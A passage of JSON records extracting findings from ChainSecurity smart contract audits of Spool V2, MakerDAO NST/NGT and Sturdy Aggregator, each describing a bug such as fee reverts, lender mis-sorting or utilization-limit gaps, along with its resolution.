increased.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.37 Nameless ERC20","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-033\n```\nThe SVT ERC-20 does not have a name. Specifying a name may help third-party front-ends (e.g.\nEtherscan) to display useful information to users for a better user experience.\n\nCode corrected:\n\nThe SVT now has a name and symbol for its ERC-20. Additionally, the ERC-1155 has a URI now.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.38 Reverts Due to Management Fee","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-035\n```\nAn SV can have a management fee that is computed as\n\n```\ntotalUsd[1] * parameters.fees.managementFeePct * (result.dhwTimestamp - parameters.bag[1])\n/ SECONDS_IN_YEAR / FULL_PERCENT;\n```\nIt could be the case that more than one year has passed between the two timestamps. Ultimately the\ncondition\n\n```\nparameters.fees.managementFeePct * (result.dhwTimestamp - parameters.bag[1]) > SECONDS_IN_YEAR * FULL_PERCENT\n```\n\ncould hold if at least around 20 years have passed. That would make the fee greater than the total value.\n\nUltimately,\n\n```\nresult.feeSVTs = localVariables.svtSupply * fees / (totalUsd[1] - fees);\n```\ncould revert.\n\nCode corrected:\n\nThe code was corrected by limiting the dilution of SVTs so that the subtraction cannot revert.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.39 Simplifying Performance Fees","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-036\n```\nThe performance fees could further be simplified to\n\n```\nstrategyUSD * interimYieldPct / (1 + interimYieldPct * (1-totalPlatformFees))\n```\nwhich is equivalent to the rather complicated computations made in the current implementation.\n\nCode improved:\n\nThe readability of the code has been improved by simplifying the computation.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.40 Strategy Removal for an SV Possible That","body":"Does Not Use It\n\n```\nInformational Version 1 Code Corrected\nCS-SpoolV2-037\n```\nThe event StrategyRemovedFromVaults gets emitted for a strategy even if the SV does not use the\nstrategy.\n\nCode corrected:\n\nThe event is now emitted per vault that uses the strategy. Furthermore, the name of this event has been\nchanged to StrategyRemovedFromVault.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.41 Tokens Can Be Enabled Twice","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-038\n```\nIn AssetGroupRegistry, the same token can be allowed multiple times. Although it does not make\nany difference, regarding the internal state, it emits an event of TokenAllowed again.\n\n\nCode corrected:\n\nThe event is not emitted anymore in such cases.\n\n\n\nWe utilize this section to point out informational findings that are less severe than issues. These\ninformational issues allow us to point out more theoretical findings. Their explanation hopefully improves\nthe overall understanding of the project's security. Furthermore, we point out findings which are unrelated\nto security.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"7.1 Packed Arrays With Too Big Values Could","body":"DOS the Contract\n\n```\nInformational Version 1 Risk Accepted\nCS-SpoolV2-034\n```\nThe packed array libraries could technically DOS the system due to reverts on too high values. For\nstoring DHW indexes this is rather unlikely given the expectation that it will be only called every day or\ntwo (would generally require many DHWs). It is also expected that the withdrawn strategy shares will be\nless than or equal to uint128.max. Though theoretically speaking DOS on flush is possible, the\nconditions on the practical example are very unlikely.\n\nRisk accepted:\n\nSpool replied:\n\n```\nWe agree that theoretically packed arrays could overflow and revert, however,\nwe did some calculations and this should never happen in practice.\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.1 Bricked Smart Vaults","body":"Note Version 1\n\nSome Smart Vaults may be broken when they are deployed.\n\nAn example of such broken SVs could be that a malicious SV owner could deploy a specification with\nguards that allow deposits but disallow withdrawals (e.g. claiming SVT). Moreover, the owner may deploy\na specification that is seemingly safe from the user's perspective while then maliciously changing the\nbehaviour of the guard (e.g. removing from the allow list, upgrading the guard).\n\nAnother example could be where transfers between users could be allowed while the recipient could be\nblocked from redemption.\n\nSimilarly, actions or other addresses could be broken.\n\nUsers, before interacting with an SV, should be very carefully studying the specification. Similarly,\ndeployers should be knowledgeable about the system so that they can create proper specifications to not\ncreate bricked vaults by mistake.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.2 Curve Asset Ratio Slippage","body":"Note Version 1\n\nCurve strategies return the current balances of the pool in their assetRatio() functions. These ratios\nare cached once at the end of each DHW. For all deposits occurring during the next DHW epoch, the\nsame ratios are used although the ratios on the pool might change during that period. It is therefore\npossible, that the final deposit to the protocol incurs a slight slippage loss.\n\nGiven the size and parameters of the pools, this cost should be negligible in most cases.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.3 DOS Potential for DHWs Due to External","body":"Protocols\n\nNote Version 1\n\nDHWs could be blocked in case external protocols cannot accept or return funds. For example, if Aave\nv2 or Compound v2 have 100% utilization, DHWs could be blocked if withdrawals are necessary. This\ncan in turn prolong the time until deposits earn interest and become withdrawable again.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.4 ERC-1155 balanceOf()","body":"Note Version 1\n\nThe balanceOf() function of the SV's ERC-1155 returns 1 if the user has any balance. The standard\ndefines that the function should return the balance which in this case is defined as the \"fractional\n\n\nbalance\". Depending on the interpretation of EIP-1155, this could still match the standard. However, such\na deviation from the \"norm\" could break integrations.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.5 Management Fee Considerations","body":"Note Version 1\n\nUsers should be aware that the management fee is not taken based on the vault value at the beginning of\nthe flush cycle but at the end of it (hence, including the potential yield of strategies, however not including\nfresh deposits).","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.6 Ordering of Swaps in Reallocations and","body":"Swaps\n\nNote Version 1\n\nThe privileged user doing reallocation or swaps (e.g. the one holding ROLE_DO_HARD_WORKER) should\ntake an optimal path when performing the swaps, as depositing to/withdrawing from a strategy changes\nits value.\n\nAlso, note that some strategies could be affected more by bad trades due to the swaps being performed\nin the order of the strategies. For example:\n\n```\n1.depositFast() to the first strategy happens. The swap changes the price in the DEX.\n2.depositFast() to the second strategy happens. The swap works at a worse price than the first\nstrategy.\n```\nUltimately, some deposits could have worse slippage.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.7 Price Aggregators With More Than 18","body":"Decimals\n\nNote Version 1\n\nSetting price aggregators with more than 18 decimals will revert in\nUsdPriceFeedManager.setAsset(). Such are not supported by the system.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.8 Public Getter Functions","body":"Note Version 1\n\nUsers should be aware that some public getters provide only meaningful results with the correct input\nvalues (e.g. getClaimedVaultTokensPreview()). When used internally, it is ensured that the inputs\nare set such that the results are meaningful.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.9 Reentrancy Potential","body":"Note Version 1\n\n\nWhile reentrancy protection was implemented in Version 2 of the code, some potential for\nreentrancy-based attacks may still exist. However, it highly depends on the underlying strategies. Future\nunknown strategies could introduce vulnerable scenarios.\n\nAn example could be a strategy that swaps both on compounding and on deposits in DHW. If it is\npossible to manipulate the USD value oracle of the strategy (e.g. similar to Curve), then one could\neffectively generate a scenario that creates 0-deposits or \"bypasses\" the pre-deposit/redeemal checks.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.10 Reward Pool Updates","body":"Note Version 1\n\nThe ROLE_REWARD_POOL_ADMIN should be very careful, when updating the root of a previous cycle (if\nnecessary), as it could break the contract for certain users.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.11 Slippage Loss in alUSD Strategy","body":"Note Version 1\n\nConvexAlusdStrategy never invests alUSD into the corresponding Curve pool. This can result in a\nslight slippage loss due to unbalanced deposits. Both deposits and withdrawals are subject to this\nproblem.\n\nThe loss is negligible up to a certain amount of value deposited/withdrawn. After that, there is no limit\nthough. At the time this report was written, a withdrawal of 10M LP tokens to 3CRV incurs a loss of\nroughly 25%.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.12 Special Case: Compound COMP Market","body":"Note Version 1\n\nCompound v2 currently has an active market for the COMP token. In this case, deposits to the\nCompoundV2Strategy would be absorbed by the _compound() function if a compoundSwapInfo\nhas been set for the strategy. The correct handling is therefore completely dependent on the role\nROLE_DO_HARD_WORKER and is not enforced on-chain.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.13 Unsupported Markets","body":"Note Version 1\n\nSome markets of the supported protocols in Spool V2's strategies might be problematic:\n\n- Aave markets in which the aToken has different decimals than the underlying. While this is not the\n case for any aToken currently deployed, Aave does not guarantee that this will be the case in the\n future.\n- Compound supports fee-taking tokens. If such a market would be integrated into Spool V2, it could\n be problematic as the CompoundV2Strategy._depositToCompoundProtocol() does not\n account for the return value of Compound's mint() function.\n- Compound's cETH market is unsupported due to it requiring support for native ETH and hence\n having a different interface than other cTokens.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"8.14 Value of the alUSD Strategy's Metapool LP","body":"Token Overvalued\n\nNote Version 1\n\nThe Curve metapool that is used in the ConvexAlusdStrategy allows to determine the value of LP\ntokens, if only one of the 2 underlying tokens is withdrawn, with the function\ncalc_withdraw_one_coin(). This is used in the strategy to determine the value of one token which\nis then scaled up by the actual LP token amount.\n\nThe function, however, does not linearly scale with the amount of LP tokens due to possible slippage loss\nwith higher amounts. The LP tokens are therefore overvalued.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.1 NstToDai Can Be Paused if DaiJoin Is Paused","body":"Note Version 1\n\nThe DaiNst converter itself is permissionless. However, if DaiJoin is paused, NstToDai() will be\nindirectly paused as exit() will revert on DaiJoin.\n\nNote that this theoretically possible situation does not apply to the existing Maker's DaiJoin deployed at\n0x9759A6Ac90977b93B58547b4A71c78317f391A28.\n\nThe only ward of this contract is its deployer contract DaiJoinFab, which is immutable and does not have\nthe functionality to pause the DaiJoin by calling cage() nor to add more wards.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_NST_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/06/ChainSecurity_MakerDAO_NST_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/06/ChainSecurity_MakerDAO_NST_audit-1.pdf"}} +{"title":"6.1 MkrNgt Converter Can Be Paused if MKR Is","body":"Paused\n\nNote Version 1\n\nThe MkrNgt converter itself is permissionless, however, if MKR token is paused, the converter will be\nindirectly paused as mint() and burn() will revert on MKR.","dataSource":{"name":"ChainSecurity/ChainSecurity_MakerDAO_NGT_audit-1.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_MakerDAO_NGT_audit-1.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/05/ChainSecurity_MakerDAO_NGT_audit-1.pdf"}} +{"title":"5.1 zkAllocation May Not Behave as Expected","body":"```\nDesign Medium Version 1 Risk Accepted\nCS-STUAGG-\n```\nThe zkAllocation function is assumed to only be called with a lender allocation that increases the\ntotal APR of the aggregator.\n\nHowever, the possible allocations depend on the state of the blockchain at execution time, which is likely\nimpossible to know at proof generation time. In particular, the aggregator.update_debt function\ngives no guarantees on how much it will withdraw or deposit when it is called with a certain target debt. It\nmay deposit/withdraw more or less than expected, depending on the current state.\n\nIn general, the aggregator will try to get \"as close as possible\" to the target debt, but will not revert even if\nfar away from the target. For example, a call that tries to reduce debt by 100 , but due to tokens being\nlocked in the strategy, only reduces debt by 1 , will not revert. However, there will be a revert if there is a\ncall that would deposit or withdraw a zero amount.\n\nConsider the following illustrative example:\n\n```\n1.There are two lenders, A and B. Both have a debt of 100. The minimum_total_idle of the\naggregator is set to 10. There are 210 tokens in the aggregator in total.\n2.The interest rates change such that A now has a slightly lower interest rate than B.\n3.A zk proof is generated, that claims that a better allocation of tokens would be 90 tokens in A, and\n110 tokens in B. This is true at proof generation time.\n4.Someone withdraws 5 tokens from the aggregator.\n5.The zkVerifier verifies the proof, and calls zkAllocation().\n6.update_debt(A,90) is called. It was expected at proof generation time that this withdraws 10\ntokens. However, since then, assume the internal balances of A have changed, and only 7 tokens\nare withdrawable. 7 tokens are added to the total_ idle.\n```\n\n```\n7.update_debt(B,110) is called. It was expected at proof generation time that this deposits 10\ntokens. However, now the total_idle of the aggregator is only 12 and the minimum is 10 , so\nonly 2 tokens are deposited to B.\n8.zkAllocation() successfully returns. Now the balances are A: 93 and B: 102. This has a\nlower APR than if there had been no change and the balances had stayed A: 100 and B: 100.\n```\nThere can be many lender-specific conditions that limit how much can be added/withdrawn. These\nconditions can be dependent on the current state of the blockchain, with no way to know the limits in\nadvance. As the allocation zk proofs must be generated ahead of execution time, it does not seem\npossible that they can take all of these limits into account. This may lead to cases where a zk proof\nverifies, but the resulting APR is lower. A malicious actor may even be able to frontrun the\nzkAllocation call to change the state such that the allocation becomes worse.\n\nZk proof generation should also consider the effects of process_report, which can change\ncurrent_debt, otherwise update_debt may lead to more tokens deposited to that lender than\nexpected.\n\nThe severity of this issue depends on what exactly is proven in the zk proofs, which is out of the scope of\nthis audit and is treated as a black box.\n\nRisk accepted:\n\nSturdy understands and accepts the risk.\n\nSturdy responded:\n\n```\nThe time period between proof generation and execution time will be quite small, so changes are unlikely.\nGiven that there is no risk of lost funds (only suboptimal yield), we're accepting this risk for the time being\nand will consider lender-specific limits in the future.\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"5.2 borrowAsset() Slippage Protection","body":"```\nDesign Low Version 1 Acknowledged\nCS-STUAGG-\n```\nSilo.borrowAsset() returns the amount of shares debited when borrowing. However, this value is\nignored by SiloGateway.borrowAsset(). The received amount of shares may be smaller than\nexpected.\n\nAcknowledged:\n\nSturdy acknowledges and understands the issue. Sturdy states:\n\n```\nThe value to be compared depends on the external silo's logic (ex: Fraxlend, Aave V3, Compound V3).\nSlippage protection will be added where needed.\n```\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 0\n```\n```\nHigh-Severity Findings 0\n```\n```\nMedium-Severity Findings 5\n```\n- Sorting of the Lenders Is Incorrect Code Corrected\n- Idle Assets Not Used for requestLiquidity Code Corrected\n- Utilization Limit Does Not Take Into Account JIT Liquidity Code Corrected\n- Utilization Limit Only Enforced on Requesting Lender Code Corrected\n- utilizationLimit Is Not Always Enforced Code Corrected\n\n```\nLow-Severity Findings 2\n```\n- Incorrect Code Comment Specification Changed\n- Reentrancy Guards Applied Inconsistently Code Corrected\n\n```\nInformational Findings 3\n```\n- Gas Optimizations Code Corrected\n- Missing Input Sanitization Code Corrected\n- Misleading Error Names Code Corrected","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.1 Sorting of the Lenders Is Incorrect","body":"```\nCorrectness Medium Version 2 Code Corrected\nCS-STUAGG-\n```\nThe sortLenderWithAPR function was updated in Version 2.\n\nThe algorithm that sorts the lenders by APR only swaps the lenders' addresses in the array, but the\npositions in the new APRs array are not swapped. This leads to the list of APRs being out of sync with\nthe list of lenders, which leads to incorrect sorting comparisons.\n\nExample result of the implemented algorithm:\n\n- lenders = [A, B, C, D]\n- aprs = [0, 1, 0, 0]\n- result of the sorting: [A, D, B, C]\n- correct result should have B at the end of the array\n\nCode corrected:\n\n\nThe codebase has been updated so that the array of APRs is also updated along with the array of\nlenders, fixing the issue.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.2 Idle Assets Not Used for requestLiquidity","body":"```\nDesign Medium Version 1 Code Corrected\nCS-STUAGG-\n```\nIn DebtManager, requestLiquidity() has the following check:\n\n```\nif (requiredAmount > totalIdle) {\nunchecked {\nrequiredAmount -= totalIdle;\n}\n}\n```\nThis will use idle liquidity to partially fulfill a request, but only if the requiredAmount is more than the\nidle amount.\n\nIf there are enough idle assets to cover the entire requiredAmount, they will not be used at all.\n\nCode corrected:\n\nThe code has been updated such that if the totalIdle amount is greater or equal to the\nrequiredAmount, the idle assets will be used and nothing will be pulled from other lenders.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.3 Utilization Limit Does Not Take Into Account","body":"JIT Liquidity\n\n```\nDesign Medium Version 1 Code Corrected\nCS-STUAGG-\n```\nWhen borrowing from a silo, even if JIT liquidity can be performed, there is a limit on the utilization of the\nsilo before the liquidity transfer. The utilization of the silo, before JIT liquidity is taken into account, cannot\nexceed 100%.\n\nExample:\n\n```\n1.Silo A has 100k, silo B has 900k.\n2.A user wants to borrow 300k from silo A, but this will revert since the computed utilization rate will\nbe 3 * PREC_UTIL (300%).\n```\nCode corrected:\n\nThe utilization limit check before JIT liquidity is taken into account has been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.4 Utilization Limit Only Enforced on Requesting","body":"Lender\n\n```\nDesign Medium Version 1 Code Corrected\nCS-STUAGG-\n```\nWhen calling borrowAsset(), the utilization limit is only enforced on the requesting silo, but not on the\nother lenders, which can be fully utilized if JIT liquidity is used.\n\nThere could be situations where all the silos are fully utilized but one.\n\nCode corrected:\n\nThe utilization limit can now be set per lender in DebtManager and is enforced in borrowAsset in the\nrequesting lender, but also in the lenders from which the liquidity is being pulled.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.5 utilizationLimit Is Not Always Enforced","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-STUAGG-\n```\nIn borrowAsset(), requestLiquidity() is called with the _amount that should be deposited to the\nSilo such that the utilizationLimit is respected. However, requestLiquidity() can deposit a\nsmaller amount than what is expected.\n\nThe amounts that are withdrawn from other lenders by the aggregator are calculated as follows:\n\n```\nnewDebt = aggregator.update_debt(lenders[i], newDebt);\nunchecked {\nwithdrawAmount = lenderData.current_debt - newDebt;\n}\n```\nThis does not always correctly calculate the withdrawAmount. When withdrawing from a lender, there\ncan be an unexpected loss. In this case, the withdrawn amount will be smaller than the change in debt.\n\nConsider the following excerpt from VaultV3, which is the implementation of aggregator:\n\n```\n# making sure we are changing idle according to the real result no matter what.\n# We pull funds with {redeem} so there can be losses or rounding differences.\nwithdrawn: uint256 = min(post_balance - pre_balance, current_debt)\n```\n```\n# If we got too much make sure not to increase PPS.\nif withdrawn > assets_to_withdraw:\nassets_to_withdraw = withdrawn\n```\n```\n# Update storage.\nself.total_idle += withdrawn # actual amount we got.\n# Amount we tried to withdraw in case of losses\nself.total_debt -= assets_to_withdraw\n```\n```\nnew_debt = current_debt - assets_to_withdraw\n```\nThe withdrawAmount value that should be calculated in requestLiquidity() is actually\nwithdrawn, the change in total_idle.\n\n\nIf there is a loss while withdrawing from the lender, an insufficient amount of totalIdle will be available\nwhen depositing to the Silo. In most cases this will lead to a higher utilization than\nutilizationLimit, but in cases where losses are large or utilizationLimit is configured to be\nclose to 100%, the Silo.borrowAsset() call at the end of SiloGateway.borrowAsset() will\nrevert, as there will not be enough funds in the Silo.\n\n```\nVersion 2:\n```\nThe code now uses an accurate amount of tokens to reduce requiredAmount. However, two\nconditions have been added in the DebtManager.requestLiquidity() logic.\n\nOne early-return check in the for loop:\n\n```\nif (requiredAmount < minIdle) break;\n```\nAnd one require check after the for loop:\n\n```\nrequire(requiredAmount <= minIdle, Errors.AG_INSUFFICIENT_ASSETS);\n```\nRecall that requiredAmount = amount + minIdle. If requiredAmount is greater than 0 , it means\nthat the current idle amount is smaller than amount + minIdle. When updating the debt of the\nrequesting lender, the aggregator will still keep minIdle and the amount sent to the lender can be\nsmaller than amount. This would lead to the requesting lender exceeding its utilizationLimit.\n\nCode corrected:\n\nThe codebase has been updated so that DebtManager.requestLiquidity() compares the\naggregator's totalIdle before and after the call to update_debt() to know exactly how many tokens\nhave been withdrawn from the lender.\n\nThe early-return check has been removed and the require check corrected to\n\n```\nrequire(requiredAmount == 0, Errors.AG_INSUFFICIENT_ASSETS);\n```\nwhich ensures that enough assets have been retrieved.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.6 Incorrect Code Comment","body":"```\nCorrectness Low Version 1 Specification Changed\nCS-STUAGG-\n```\nOn the manualAllocation function, there is the following comment:\n\n```\n@dev Manual update the allocations.\nCalculate the newAPR, curAPR and if newAPR < curAPR then it would be failed.\n```\nHowever, there is no check in the code that makes the call fail if newAPR < curAPR. The admin could\ninput any manual allocation, no matter the resulting APR.\n\nSpec changed:\n\nThe comment has been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.7 Reentrancy Guards Applied Inconsistently","body":"```\nDesign Low Version 1 Code Corrected\nCS-STUAGG-\n```\nThe SiloGateway has a reentrancy guard on its borrowAsset function, but DebtManager does not\nhave a reentrancy guard on requestLiquidity().\n\nNote that there can be multiple SiloGateway for each DebtManager, so it could technically be\npossible to reenter requestLiquidity().\n\nCode corrected:\n\nA reentrancy guard has been added to requestLiquidity() in DebtManager.\n\nIt has also been clarified that the system is not intended to be used with reentrant tokens such as\nERC-777.","dataSource":{"name":"ChainSecurity/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Sturdy_Sturdy_Aggregator_audit.pdf"}} +{"title":"6.8 Gas Optimizations","body":"```\nInformational Version 1 Code Corrected\nCS-STUAGG-\n1.The functions DebtManager.removeLender and SiloGateway.borrowAsset could be\npayable to save gas.\n2.In the function DebtManager.requestLiquidity the condition for continue could be moved\nat the beginning of the for loop. This avoids unnecessarily loading from storage.\n3.The function DebtManager.requestLiquidity could avoid the big for loop if the totalIdle\namount is enough to cover requiredAmount.\n4.The function DebtManager.sortLendersWithAPR makes a lot of calls to the APR oracle.\nThese calls could be cached to avoid querying the same value 